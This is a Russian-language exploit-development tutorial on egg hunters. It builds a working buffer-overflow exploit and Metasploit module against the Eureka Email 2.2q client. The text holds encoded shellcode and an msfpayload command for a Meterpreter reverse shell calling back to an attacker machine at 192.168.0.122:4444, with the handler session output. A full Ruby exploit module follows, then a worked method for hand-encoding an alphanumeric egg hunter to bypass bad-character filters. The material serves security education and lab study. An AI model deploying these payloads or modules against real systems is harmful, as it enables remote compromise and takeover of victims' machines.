my $shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open(FILE,">code.bin");
print FILE $shellcode;
print "Wrote ".length($shellcode)." bytes to file code.bin\n";
close(FILE);

(Будем предполагать, что файл будет записан в папку «C:\tmp». Обратите внимание, что в этом примере, я не поместил маркер «w00tw00t» перед шеллкодом, потому что эту технику можно использовать не только для работы с охотниками за яйцами. Конечно, если вы хотите добавить «w00tw00t» к шеллкоду то, как говорится, хозяин – барин.)

Далее, присоедините отладчик Immunity Debugger к приложению, поставьте брэйкпойнт перед тем как шеллкод будет выполнен и затем вызовите эксплойт.

Теперь запустите следующую PyCommand:

!pvefindaddr compare c:\tmp\code.bin

Скрипт откроет файл, возьмет первые 8 байт и, используя их, начнет поиск местоположений шеллкода в памяти. Затем, когда все местоположения будут найдены, скрипт сравнит шеллкод в памяти с шеллкодом из файла.

Если шеллкод не был изменен, то вы увидите что-то вроде этого:

Если шеллкод будет отличатся (я изменил несколько байт для демонстрации), то вы увидите что-то вроде этого:

  • для каждого несовпадающего байта, вы получите запись в логе, которая сопоставит текущую позицию с позицией в оригинальном шеллкоде, т.е. можно будет сравнить текущее значение байта в шеллкоде со значением байта в оригинальном шеллкоде. Таким образом, это можно использовать для того, чтобы создать список плохих символов или для того, что определить, что шеллкод, например, был преобразован в верхний или нижний регистр…
  • так же будет дано визуальное представление текущего и оригинального шеллкода, в котором с помощью символа « – » будут заменены несовпадающие байты.

Таким образом, если один из шеллкодов находящихся в памяти выглядит поврежденным, вы можете попытаться перекодировать его, чтобы отфильтровать плохие символы… Но если есть хотя бы одна не поврежденная копия шеллкода, то вы можете попытаться определить способ, чтобы перепозиционировать охотника за яйцами таким образом, чтобы он нашел неповрежденную копию шеллкода первой :slight_smile:

Примечание: вы можете сравнить байты в памяти (по определенному местоположению в памяти) с байтами из файла, путем добавления желаемого адреса в командной строке:

Давайте посмотрим, будет ли охотник по-прежнему работать с большим шеллкодом (что собственно и является одной из целей, лежащих за использованием охотников за яйцами)

Давайте испытаем охотника на большом шеллкоде. Ниже мы попытаемся породить Meterpreter сессию через TCP (обратное соединение к атакующему) в том же самом эксплойте для Eureka Email.

Сгенерируем шеллкод. Моей атакующей машиной будет 192.168.0.122 с портом по умолчанию 4444. В качестве кодера используем alpha_mixed. Исходя из этого, команда будет выглядеть следующим образом:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.122 R | ./msfencode -b ’0×00′ -t perl -e x86/alpha_mixed
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.122 R | ./msfencode -b '0x00' -t perl -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 644 (iteration=1)

my $buf =
"\x89\xe5\xd9\xe5\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x49\x6c\x4b\x58\x4e\x69\x45\x50\x45\x50" .
"\x45\x50\x43\x50\x4c\x49\x4b\x55\x46\x51\x49\x42\x50\x64" .
"\x4e\x6b\x42\x72\x44\x70\x4c\x4b\x46\x32\x46\x6c\x4e\x6b" .
"\x43\x62\x45\x44\x4e\x6b\x44\x32\x51\x38\x46\x6f\x4c\x77" .
"\x50\x4a\x45\x76\x45\x61\x4b\x4f\x45\x61\x49\x50\x4e\x4c" .
"\x47\x4c\x43\x51\x43\x4c\x46\x62\x44\x6c\x51\x30\x4f\x31" .
"\x4a\x6f\x44\x4d\x43\x31\x4f\x37\x4d\x32\x4c\x30\x50\x52" .
"\x42\x77\x4e\x6b\x50\x52\x44\x50\x4e\x6b\x50\x42\x47\x4c" .
"\x43\x31\x4a\x70\x4e\x6b\x43\x70\x43\x48\x4b\x35\x49\x50" .
"\x43\x44\x43\x7a\x45\x51\x48\x50\x46\x30\x4e\x6b\x43\x78" .
"\x45\x48\x4c\x4b\x50\x58\x45\x70\x47\x71\x49\x43\x4a\x43" .
"\x47\x4c\x42\x69\x4c\x4b\x44\x74\x4e\x6b\x47\x71\x49\x46" .
"\x50\x31\x49\x6f\x50\x31\x4b\x70\x4e\x4c\x4b\x71\x4a\x6f" .
"\x44\x4d\x47\x71\x4b\x77\x45\x68\x4b\x50\x43\x45\x4a\x54" .
"\x47\x73\x43\x4d\x49\x68\x45\x6b\x43\x4d\x51\x34\x44\x35" .
"\x4d\x32\x51\x48\x4c\x4b\x42\x78\x51\x34\x47\x71\x4b\x63" .
"\x43\x56\x4e\x6b\x46\x6c\x50\x4b\x4c\x4b\x43\x68\x47\x6c" .
"\x45\x51\x4e\x33\x4e\x6b\x45\x54\x4e\x6b\x46\x61\x4a\x70" .
"\x4c\x49\x50\x44\x51\x34\x45\x74\x51\x4b\x43\x6b\x51\x71" .
"\x51\x49\x50\x5a\x42\x71\x49\x6f\x4d\x30\x51\x48\x43\x6f" .
"\x51\x4a\x4c\x4b\x44\x52\x4a\x4b\x4d\x56\x51\x4d\x51\x78" .
"\x46\x53\x46\x52\x45\x50\x47\x70\x50\x68\x42\x57\x50\x73" .
"\x50\x32\x51\x4f\x50\x54\x51\x78\x42\x6c\x44\x37\x46\x46" .
"\x43\x37\x49\x6f\x4e\x35\x4c\x78\x4c\x50\x46\x61\x43\x30" .
"\x45\x50\x46\x49\x4a\x64\x51\x44\x50\x50\x43\x58\x44\x69" .
"\x4f\x70\x42\x4b\x45\x50\x4b\x4f\x48\x55\x50\x50\x46\x30" .
"\x42\x70\x50\x50\x47\x30\x50\x50\x43\x70\x46\x30\x45\x38" .
"\x48\x6a\x46\x6f\x49\x4f\x49\x70\x4b\x4f\x4e\x35\x4f\x67" .
"\x42\x4a\x47\x75\x51\x78\x4f\x30\x4f\x58\x43\x30\x42\x5a" .
"\x50\x68\x46\x62\x43\x30\x42\x31\x43\x6c\x4c\x49\x4d\x36" .
"\x50\x6a\x42\x30\x46\x36\x46\x37\x42\x48\x4d\x49\x4e\x45" .
"\x42\x54\x51\x71\x49\x6f\x4e\x35\x4d\x55\x49\x50\x44\x34" .
"\x44\x4c\x49\x6f\x50\x4e\x44\x48\x50\x75\x4a\x4c\x43\x58" .
"\x4c\x30\x4c\x75\x49\x32\x42\x76\x49\x6f\x4a\x75\x43\x5a" .
"\x45\x50\x51\x7a\x43\x34\x42\x76\x50\x57\x51\x78\x45\x52" .
"\x4b\x69\x4b\x78\x43\x6f\x49\x6f\x48\x55\x4e\x6b\x46\x56" .
"\x51\x7a\x51\x50\x43\x58\x45\x50\x46\x70\x45\x50\x45\x50" .
"\x51\x46\x42\x4a\x45\x50\x50\x68\x51\x48\x4f\x54\x46\x33" .
"\x4d\x35\x4b\x4f\x4b\x65\x4e\x73\x46\x33\x42\x4a\x43\x30" .
"\x50\x56\x43\x63\x50\x57\x42\x48\x44\x42\x48\x59\x49\x58" .
"\x51\x4f\x49\x6f\x4b\x65\x43\x31\x49\x53\x46\x49\x4b\x76" .
"\x4d\x55\x4b\x46\x51\x65\x48\x6c\x49\x53\x47\x7a\x41\x41";

В скрипте эксплойта, замените шеллкод вызывающий calc.exe, шелкодом сгенерированным выше.

Перед запуском эксплойта, установите meterpreter listener:

[B][COLOR="red"]./msfconsole [/COLOR][/B]

 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 490 exploits - 227 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
       =[ svn r8091 updated today (2010.01.09)

msf > [B][COLOR="red"]use exploit/multi/handler[/COLOR][/B]
msf exploit(handler) > [B][COLOR="red"]set PAYLOAD windows/meterpreter/reverse_tcp[/COLOR][/B]
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > [B][COLOR="red"]set LPORT 4444[/COLOR][/B]
LPORT => 4444
msf exploit(handler) > [B][COLOR="red"]set LHOST 192.168.0.122[/COLOR][/B]
LHOST => 192.168.0.122
msf exploit(handler) > [B][COLOR="red"]show options[/COLOR][/B]

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LHOST     192.168.0.122    yes       The local address
   LPORT     4444             yes       The local port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > [B][COLOR="red"]exploit[/COLOR][/B]

[*] Starting the payload handler...
[*] Started reverse handler on port 4444

Теперь запустите экплойт. Он произведет переполнение в Eureka, после чего, по прошествии нескольких секунд, вы должны увидеть следующее:

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.122:4444 -> 192.168.0.193:15577)

meterpreter >

Owned!

Реализация охотника за яйцами в Metasploit

Давайте преобразуем наш эксплойт для Eureka Mail Client в модуль Metasploit. Вы можете найти некоторую информацию о том, как можно сделать в Metasploit Wiki:

http://www.metasploit.com/redmine/projects/framework/wiki/PortingExploits

Некоторые факты, прежде чем начнем:

  • нам нужно установить сервер (POP3, прослушивающий порт 110)
  • нам нужно вычислить правильное смещение. Будем использовать для этого параметр SRVHOST
  • Будем предполагать, что клиент использует XP SP3 (можно использовать больше систем, если вы сможете достать правильные смещения jmp-адресов для других Сервис паков).

Примечание: оригинальный Metasploit-модуль для этой уязвимости уже является частью Metasploit (смотрите в папку exploits/windows/misc и найдите там eureka_mail_err.rb). Здесь же мы просто создадим собственный модуль.

Наш модуль будет выглядеть примерно так:

class Metasploit3 < Msf::Exploit::Remote
   Rank = NormalRanking
   include Msf::Exploit::Remote::TcpServer
   include Msf::Exploit::Egghunter
   def initialize(info = {})
      super(update_info(info,
       'Name'           => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
       'Description'    => %q{
           This module exploits a buffer overflow in the Eureka Email 2.2q
           client that is triggered through an excessively long ERR message.
           },
       'Author'         =>
           [
             'Peter Van Eeckhoutte (a.k.a corelanc0d3r)'
           ],
        'DefaultOptions' =>
            {
             'EXITFUNC' => 'process',
            },
        'Payload'        =>
            {
             'BadChars' => "\x00\x0a\x0d\x20",
             'StackAdjustment' => -3500,
             'DisableNops' => true,
            },
         'Platform'       => 'win',
         'Targets'        =>
            [
             [ 'Win XP SP3 English', { 'Ret' => 0x7E47BCAF } ], # jmp esp / user32.dll
             ],
         'Privileged'     => false,
         'DefaultTarget'  => 0))

          register_options(
          [
           OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
          ], self.class)
        end

        def on_client_connect(client)
           return if ((p = regenerate_payload(client)) == nil)

           # the offset to eip depends on the local ip address string length...
           offsettoeip=723-datastore['SRVHOST'].length
           # create the egg hunter
           hunter = generate_egghunter
           # egg
           egg = hunter[1]
           buffer =  "-ERR "
           buffer << make_nops(offsettoeip)
           buffer << [target.ret].pack('V')
           buffer << hunter[0]
           buffer << make_nops(1000)
           buffer << egg + egg
           buffer << payload.encoded + "\r\n"

           print_status(" [*] Sending exploit to #{client.peerhost}...")
           print_status(" Offset to EIP : #{offsettoeip}")
           client.put(buffer)
           client.put(buffer)
           client.put(buffer)
           client.put(buffer)
           client.put(buffer)
           client.put(buffer)

           handler
           service.close_client(client)
        end

end

Конечно, если хотите использовать собственного охотника (вместо использования одного из встроенных в Metasploit – которые, между прочим, для поиска в памяти используют техники NtDisplayString/NtAccessCheckAndAuditAlarm), то вы также можете вручную встроить его байт-код в эксплойт.

Эксплойт: (192.168.0.193 = клиент выполняющий Eureka, настроенный на соединение с адресом 192.168.0.122, который выступает в качестве POP3-сервера. Адрес 192.168.0.122 = Metasploit-машине).

Я помести наш модуль в exploit/windows/eureka (новую папку).

Тест:

# # ###### ##### ## #### ##### # #### # ##### 
## ## # # # # # # # # # # # # 
# ## # ##### # # # #### # # # # # # # 
# # # # ###### # ##### # # # # # 
# # # # # # # # # # # # # # 
# # ###### # # # #### # ###### #### # # 
       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 493 exploits - 232 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
       =[ svn r8137 updated today (2010.01.15)
msf > [B][COLOR="red"]use exploit/windows/eureka/corelan_eureka2[/COLOR][/B]
msf exploit(corelan_eureka2) > [B][COLOR="red"]set payload windows/exec[/COLOR][/B]
payload => [B][COLOR="red"]windows/exec[/COLOR][/B]
msf exploit(corelan_eureka2) > [B][COLOR="red"]set SRVHOST 192.168.0.122[/COLOR][/B]
SRVHOST => 192.168.0.122
msf exploit(corelan_eureka2) > [B][COLOR="red"]set CMD calc[/COLOR][/B]
CMD => calc
msf exploit(corelan_eureka2) > [B][COLOR="red"]exploit[/COLOR][/B]
[*] Exploit running as background job.
msf exploit(corelan_eureka2) >
[*] Server started.
[*]  [*] Sending exploit to 192.168.0.193...
[*]      Offset to EIP : 710
[*] Server stopped.

Соединение клиента Eureka Mail с 192.168.0.122:

Другие пэйлоады:

bindshell на порт 55555:

Badchars + Encoding

Использование Metasploit

Код охотника является таким же обычным шеллкодом. Он чувствителен к повреждениям в памяти, плохим символам, etc. Так что, если вы получаете странные ошибки, во время выполнения охотника, вероятно, стоит сравнить оригинальный код охотника с тем, что вы имеете в памяти, и найти плохие символы. (Я уже объяснял способ сравнения кода (в независимости от того, является ли он шеллкодом или охотником) раньше в этом уроке.)

Что если вы обнаружили, что код был поврежден?

В данном случае, в качестве альтернативного варианта, чтобы заставить эксплойт работать, может потребоваться либо кодировщик, либо фильтрация «плохих символов», либо и то и другое, что поможет отфильтровать символы, которые будут испорчены или преобразованы в памяти и повредят код.

Кроме того, имейте ввиду, что тип код кодирощика и тип плохих символов, которые должны быть отфильтрованы, «могут» совершенно отличаться от тех, что применимы для шеллкода и для охотника. Такое случается редко, но это возможно.

Кодирование (encoding) охотника (или любого шеллкода) происходит довольно просто. Просто запишите код охотника в файл, закодируйте файл и используйте закодированные байты в качестве пэйлоада охотника. Надо ли включать маркер/тег перед кодированием или нет, зависит от плохих символов, но в большинстве случаев их не нужно включать. Все же, если тег, после кодирования охотника, отличается – его нужно заменить и шеллкоде… Вам придется поместить код охотника в отладчик и посмотреть, что происходит с тегом.

Пример: Допустим, что охотник нуждается в буквенно-цифровом кодировщике (верхнего регистра) и вы поместили тег в eggfile, тогда результат будет таким.

root@xxxxx:/pentest/exploits/trunk# cat writeegghunter.pl 
#!/usr/bin/perl
# Write egghunter to file
# Peter Van Eeckhoutte
#
my $eggfile = "eggfile.bin";
my $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

open(FILE,">$eggfile");
print FILE $egghunter;
close(FILE);
print "Wrote ".length($egghunter)." bytes to file ".$eggfile."\n";

root@xxxxx:/pentest/exploits/trunk# perl writeegghunter.pl 
Wrote 32 bytes to file eggfile.bin

root@xxxxx:/pentest/exploits/trunk# ./msfencode -e x86/alpha_upper -i eggfile.bin -t perl
[*] x86/alpha_upper succeeded with size 132 (iteration=1)

my $buf =
"\x89\xe0\xda\xc0\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43" .
"\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x43\x56\x4d\x51" .
"\x49\x5a\x4b\x4f\x44\x4f\x51\x52\x46\x32\x43\x5a\x44\x42" .
"\x50\x58\x48\x4d\x46\x4e\x47\x4c\x43\x35\x51\x4a\x42\x54" .
"\x4a\x4f\x4e\x58\x42\x57\x46\x50\x46\x50\x44\x34\x4c\x4b" .
"\x4b\x4a\x4e\x4f\x44\x35\x4b\x5a\x4e\x4f\x43\x45\x4b\x57" .
"\x4b\x4f\x4d\x37\x41\x41";

Посмотрите на результат в $buf: ваш тег должен быть там, но где? Он был изменен или нет? Будет ли эта закодированная версия работать?

Проверьте это. Не расстраивайтесь, если он не будет работать и читайте дальше.

Изготовление кодировщика вручную

Что, если существует слишком много ограничений и Metasploit не в состоянии закодировать ваш шеллкод? (охотник за яйцами = шеллкоду, так что, в целом, это применимо ко всем формам и видам шелкодов)

Что, если, например, список плохих символов слишком большой, что если, кроме этого, код охотника должен быть исключительно буквенно-цифровым…

В таком случае, необходимо создать свой собственный кодировщик. В действительности, простое кодирование охотника (включая тег) не будет работать из коробки. По сути, нам нужен декодер, который сможет воспроизвести оригинальный код охотника (включая тег) и выполнить его.

Идея этой главы была взята из красивого эксплойта написанного Muts’ом. Если вы посмотрите на этот эксплойт, то увидите код «специального» охотника.

egghunter=(
"%JMNU%521*TX-1MUU-1KUU-5QUUP\AA%J"
"MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5"
"21*-q!au-q!au-oGSePAA%JMNU%521*-D"
"A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1"
"z1E-oRHEPAA%JMNU%521*-3s1--331--^"
"TC1PAA%JMNU%521*-E1wE-E1GE-tEtFPA"
"A%JMNU%521*-R222-1111-nZJ2PAA%JMN"
"U%521*-1-wD-1-wD-8$GwP")

В коде эксплойта говорится: «Буквенно-цифровой шеллкод охотника + ограничение на символы x40\x3f\x3a\x2f». Таким образом, похоже, что эксплойт может использовать только печатаемые ASCI-символы (буквенно-цифровые), что собственно не так уж необычно для веб серверов и приложений.

Когда сконвертируете охотника в ASM, увидите следующее (показано, только, первые несколько строк кода):

25 4A4D4E55      AND EAX,554E4D4A
25 3532312A      AND EAX,2A313235
54               PUSH ESP
58               POP EAX
2D 314D5555      SUB EAX,55554D31
2D 314B5555      SUB EAX,55554B31
2D 35515555      SUB EAX,55555135
50               PUSH EAX
41               INC ECX
41               INC ECX
25 4A4D4E55      AND EAX,554E4D4A
25 3532312A      AND EAX,2A313235
2D 21555555      SUB EAX,55555521
2D 21545555      SUB EAX,55555421
2D 496F556D      SUB EAX,6D556F49
50               PUSH EAX
41               INC ECX
41               INC ECX
25 4A4D4E55      AND EAX,554E4D4A
25 3532312A      AND EAX,2A313235
2D 71216175      SUB EAX,75612171
2D 71216175      SUB EAX,75612171
2D 6F475365      SUB EAX,6553476F

Воу – это не похоже на охотника, которого мы знаем, не так ли?

Давайте посмотрим что он делает. Первые четыре инструкции очищают EAX (2 логические операции AND) и помещают указатель из ESP в стек (который указывает на начало закодированного охотника). Затем, это значение помещает в EAX. Таким образом, после выполнения этих инструкций, EAX указывает на начало охотника.

25 4A4D4E55      AND EAX,554E4D4A
25 3532312A      AND EAX,2A313235
54               PUSH ESP
58               POP EAX

Далее, значение в EAX изменяется (с помощью серии инструкций SUB). После чего, новое значение EAX помещается в стек, а ECX увеличивается на 2:

2D 314D5555      SUB EAX,55554D31
2D 314B5555      SUB EAX,55554B31
2D 35515555      SUB EAX,55555135
50               PUSH EAX
41               INC ECX
41               INC ECX

(Число, которое вычисляется в EAX будет позже иметь важное значение! Я вернусь к нему через минуту.)

Затем, EAX снова очищается (2 операции AND). Далее над ним выполняются три операции SUB, после чего его значение помещается в стек.

Таким образом, перед тем, как будет выполнена инструкция SUB EAX,55555521, сам EAX = 00000000. Когда будет выполнена первая SUB, EAX будет содержать AAAAAADF. После выполнения второй SUB, EAX будет содержать 555556BE, а после выполнения третей SUB, EAX будет содержать E7FFE775. После чего, это значение помещается в стек.

Подождите минуту. Это значание выглядит знакомым для меня. По сути, байты 0xE7, 0xFF, 0xE7, 0×75 являются последними четырьмя байтами охотника, основанного на NtAccessCheckAndAuditAlarm (в обратном порядке). Отлично.

Если вы продолжите выполнять код, то увидите, что он воспроизведет код оригинального охотника за яйцами (но, в моем тесткейсе используется другой эксплойт, поэтому код не работает).

В любом случае, код Muts’а использует кодировщик, который, по сути, воспроизведет код оригинального охотника, поместит его в стек и выполнит воспроизведенный код, эффектно обходя ограничение на плохие символы (поскольку, тело всего кодировщика не использует никаких плохих символов). Гениально просто! Я никогда не видел реализации такого кодировщика, до того как был опубликован этот конкретный эксплойт, Действительно хорошо сделано!

Конечно, если опкоды AND, PUSH, POP, SUB, INC так же находятся в списке плохих символов, то у вас могут возникнуть проблемы… Сейчас вы можете поиграть со значениями SUB инструкций, чтобы воспроизвести оригинальный код охотника, отследить его текущее местоположение в стеке и, наконец, осуществить переход (jump) на него.

Как осуществить переход (jump)?

Если вы имеете дело с ограниченным набором символов (например, разрешены только буквенно-цифровые печатные ASCII-символы), то JMP ESP или PUSH ESP+RET, … не будут работать, поскольку эти инструкции могут иметь недопустимые символы. Если вы не ограниченные этими символами, то просто добавьте переход на конец закодированного охотника и на этом все.

Давайте предположим, что мы имеем ограниченный набор символов, поэтому нам нужно найти другой способ решения этой проблемы. Помните, что раньше я сказал, что некоторые инструкцию будут позже иметь «важное значение»? Это именно тот случай/место, где они вступает в игру. Если мы не можем сделать переход (jump), то нам нужно убедиться, что код начинает выполнение автоматически. Лучший способ сделать это – это записать декодированный код охотника сразу после кода кодировщика… Таким образом, когда код кодировщика, закончит восстановление оригинального кода охотника, он сможет просто начать выполнение кода охотника.

Это означает, что вычисляемое значение, должно указывать на место, которое размещено после кода охотника и это значение, нужно поместить в ESP перед началом декодирования. Таким образом, декодер восстановит код охотника и поместит его сразу после себя. Мы познакомимся с этим более близко в следующей главе.

Смотреть на код, который выполняет и воспроизводит оригинальный код охотника – это все хорошо, но как создать свой собственный декодер?

Фреймворк для создания закодированного охотника (или декодировщика, если так вам угодно) выглядит следующим образом:

  • Настройте стек и регистры (вычислить место, куда должен быть записан декодированный код охотника. Это будет локальная позиция + длина закодированного кода (который будет примерно такого же размера). Вычисление места, куда должен быть записан декодированный код охотник, требует от вас определения значений регистров, в момент, когда декодер охотника начнет свое выполнение. Если к коду декодера вы перешли через JMP ESP, тогда ESP будет содержать текущее местоположение, и вам просто сможете увеличивать его значение до тех пор, пока он не будет указывать на правильную позицию.)
  • Восстанавливайте код охотника по 4 байта и помещайте их за декодер (используйте две AND инструкции для очистки EAX, три SUB инструкции для восстановления оригинального кода и одну PUSH инструкцию для помещения восстановленного кода в стек)
  • Когда все байты будут восстановлены, the decoded egg hunter should kick in.

Сначала, давайте создадим кодер для охотника. Вам нужно сгруппировать его код в группы по 4 байта. Делать это нужно с конца, т.е. с последних четырёх байтов кода (потому что каждую восстановленную группу кода, мы будем помещать в стек, а значит в конце, первые байты будут на вершине стека). Так как наш охотник (NtAccessCheckAndAuditAlarm) состоит из 32 байтов, он имеет правильное выравнивание, т.е. его размер кратен 4 байтам. Но если код не имеет правильного выравнивания, вы можете добавить больше байтов (NOPs) в конец кода охотника.

\x66\x81\xCA\xFF
\x0F\x42\x52\x6A
\x02\x58\xCD\x2E
\x3C\x05\x5A\x74
\xEF\xB8[B][COLOR="red"]\x77\x30[/COLOR][/B]   ;w0
[B][COLOR="red"]\x30\x74[/COLOR][/B]\x8B\xFA   ;0t
\xAF\x75\xEA\xAF
\x75\xE7\xFF\xE7

Код, используемый Матсом, отлично восстанавливает код охотника (который использует W00T в качестве тега). Вот то, что помещается кодом в стек, когда он был запущен:

Отлично.

Однако осталось два вопроса: как, сейчас, сделать переход на код охотника, и что если вам нужно написать самим свой собственный кодировщик охотника?

Поскольку, код нашего охотника, состоит из 8 групп по 4 байта, вам нужно будет написать 8 блоков для создания кодировщика. Весь код должен использовать только буквенно-цифровые символы, и не должен использовать никаких плохих символов (см. http://www.asciitable.com/). Первый печатаемый символ начинается со значения 0x20 (пробел) или 0x21, а последний заканчивается значением 0x7E.

Каждый блок, чтобы воссоздать 4 байта кода охотника, использует инструкции SUB. Способ вычисления значений, которые будут использоваться в SUB-инструкциях, заключается в следующем:

Взять одну группу кода охотника, инвертировать байты «!» и получит его дополнительный код (2’s complement) (взять все биты, инвертировать их и добавить единицу) (Используя Windows калькулятор, установите режим hex/dword и вычислите выражение «0 - значение»). Для последней группы байтов охотника (0x75E7FFE7 -> 0xE7FFE775) это было бы 0x1800188B (что равно выражению «0 – E7FFE775»).

Затем найдите 3 значения, которые состоят только из буквенно-цифровых значений (печатаемых ASCII-символов) и не используют никакие плохие символы (\x40\x3f\x3a\x2f)… и при суммировании которых вы должны снова получить значение «дополнительного кода» (0x1800188B в случае с последней группой байт).

В итоге, эти 3 полученных значения является именно теми, которые должны использоваться в инструкциях SUB, EAX < … >.

Поскольку, байты будут помещаться в стек, вам нужно начать с последней группы кода охотника, таким образом, после того, как последняя группа кода, будет помещена в стек, регистр ESP будет указывать на первые байты охотника.

Чтобы вычислить 3 значения, я обычно делаю так:

  • вычисляю дополнительный код (2’s complement) для инвертированных байтов
  • Начнем с первого байта из «дополнительного кода», (18 в нашем случае), и найдем три значения, сумма которых даст нам значение 18. Возможно, вам придется переполнить значение для того, чтобы это сработало (поскольку, вы будите ограничены только печатаемыми ASCII-символами). Таким образом, простое использование 06+06+06 не будет работать, поскольку 06 является допустимым символом. В этом случае, нам нужно осуществить переполнение и перейти к 118. Я обычно начинаю с использования значений где-то между 55 (3 раза по 55 = 0) и 7F (последний символ). Возьмем к примеру 71. Добавим 71 к 71, получим E2. Для того, чтобы получить из E2 значение 118, нужно прибавить 36, что является допустимым символом, таким образом мы нашли наш первый байт. Это может не самый эффективный метод, чтобы сделать это, но это работает. (Подсказка: запустите calc.exe, введите байт который вы хотите получить, разделите на 3, чтобы знать с какой области вам нужно начинать поиск возможных значений).

Затем сделайте тоже самое для следующих трех байт «дополнительного кода». Обратите внимание: если вам нужно осуществить переполнение для получение определенного значения, это может оказать воздействие следующие байты. Просто просуммируйте 3 значения и если вы получите переполнение, то вам нужно будет отнять единицу и следующего байтов в одном из 3-х значений. Просто попробуйте и вы поймете, что я имею ввиду (и вы узнаете, почему 3-е значение начинается с 35 вместо 36).

Последняя группа кода охотника:

x75 xE7 xFF xE7 -> xE7 xFF xE7 x75: (2’s complement : 0x1800188B)
-----------------------------------------------------------------
sub eax, 0x71557130     (=> "\x2d\x30\x71\x55\x71")  (Reverse again !)
sub eax, 0x71557130     (=> "\x2d\x30\x71\x55\x71")
sub eax, 0x3555362B     (=> "\x2d\x2B\x36\x55\x35")
=> sum of these 3 values is 0x11800188B  (or 0x1800188B in dword)

Посмотрим на другой пример. Вторая группа, с конца кода охотника:

xAF x75 xEA xAF -> xAF xEA x75 xAF: (2’s complement : 0x50158A51)
-----------------------------------------------------------------
sub eax, 0x71713071
sub eax, 0x71713071
sub eax, 0x6D33296F

И так далее…

x30 x74 x8B xFA -> xFA x8B x74 x30: (2’s complement : 0x05748BD0)
-----------------------------------------------------------------
sub eax, 0x65253050
sub eax, 0x65253050
sub eax, 0x3B2A2B30
xEF xB8 x77 x30 -> x30 x77 xB8 xEF: (2’s complement : 0xCF884711)
-----------------------------------------------------------------
sub eax, 0x41307171
sub eax, 0x41307171
sub eax, 0x4D27642F
x3C x05 x5A x74  -> x74 x5A x05 x3C: (2’s complement : 0x8BA5FAC4)
------------------------------------------------------------------
sub eax, 0x30305342
sub eax, 0x30305341
sub eax, 0x2B455441
x02 x58 xCD x2E -> x2E xCD x58 x02: (2’s complement : 0xD132A7FE)
-----------------------------------------------------------------
sub eax, 0x46663054
sub eax, 0x46663055
sub eax, 0x44664755
